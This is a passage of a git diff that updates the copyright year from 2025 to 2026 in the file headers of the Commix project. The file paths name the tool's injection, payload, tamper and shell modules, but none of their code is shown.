a/src/core/injections/blind/__init__.py +++ b/src/core/injections/blind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/injections/blind/techniques/__init__.py +++ b/src/core/injections/blind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/injections/blind/techniques/time_based/__init__.py +++ b/src/core/injections/blind/techniques/time_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 6701082e92..473d8577b6 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index ce543a5655..42aa4700e5 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 9e82328c4b..10e2ea3df4 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/injections/controller/__init__.py +++ b/src/core/injections/controller/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 1fa30bd57f..7ebc10e2c0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 2869d642df..84b7c81217 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/enumeration.py b/src/core/injections/controller/enumeration.py index f8c84285fb..6375946081 100755 --- a/src/core/injections/controller/enumeration.py +++ b/src/core/injections/controller/enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py index f5e719722a..07dd854428 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/injections/controller/file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index ca4e0013ee..d2f4decbbf 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 035e6c10c7..26cca8c81e 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 86ae545e19..e79aeab775 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index d99990a901..aebc19e55c 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/injections/results_based/__init__.py +++ b/src/core/injections/results_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/injections/results_based/techniques/__init__.py +++ b/src/core/injections/results_based/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/injections/results_based/techniques/classic/__init__.py +++ b/src/core/injections/results_based/techniques/classic/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 403342f8ca..1fc1606200 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 5f8c774cff..a510056dec 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 4de436332d..a6f7beae66 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/injections/results_based/techniques/eval_based/__init__.py +++ b/src/core/injections/results_based/techniques/eval_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 66aeaccf14..f1bece891c 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 1c0aacbc1f..4c35003568 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 45dd58ab17..675857f5db 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/injections/semiblind/__init__.py +++ b/src/core/injections/semiblind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/injections/semiblind/techniques/__init__.py +++ b/src/core/injections/semiblind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/injections/semiblind/techniques/file_based/__init__.py +++ b/src/core/injections/semiblind/techniques/file_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index c5d9b11b11..1661dabff7 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 580b400bfd..604710aab3 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 443ac73ac5..2db6e1a9c9 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 0f013843d9..3bf49d07c4 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 765d60e7ba..8f7b4cf881 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 37c60de638..ea453897ee 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/main.py b/src/core/main.py index 2cd8472242..69dad7c826 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/modules/__init__.py +++ b/src/core/modules/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index 5318effae5..f81d11b091 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/modules/shellshock/__init__.py +++ b/src/core/modules/shellshock/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/requests/__init__.py +++ b/src/core/requests/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 09f20f6f71..430366f530 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 9d38f1fcab..9437d506e6 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 77348bbfdc..f8fd55789f 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 67b6ab0f92..030b347d58 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 33ae1639b4..8402afe24f 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index c4320885b3..412ba57b4a 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index bf22c9541b..afe1162dd8 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/shells/__init__.py +++ b/src/core/shells/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 9a4f8170c6..e0bf8ab102 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index a9847013a3..6806460ef3 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/tamper/__init__.py +++ b/src/core/tamper/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 4ea075407d..bd195b95e3 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 0a49618835..d21987942e 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index f55967fc75..53404e958f 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 9be8c42ec6..64426e876d 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 41b81b4fb6..2c9009b83d 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index f387d65eb4..6db30e247b 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index 01c3e275a6..b62f6b4858 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index 73cbe1e3c6..a9d4bc7826 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 3227a446e2..764bb4d851 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios 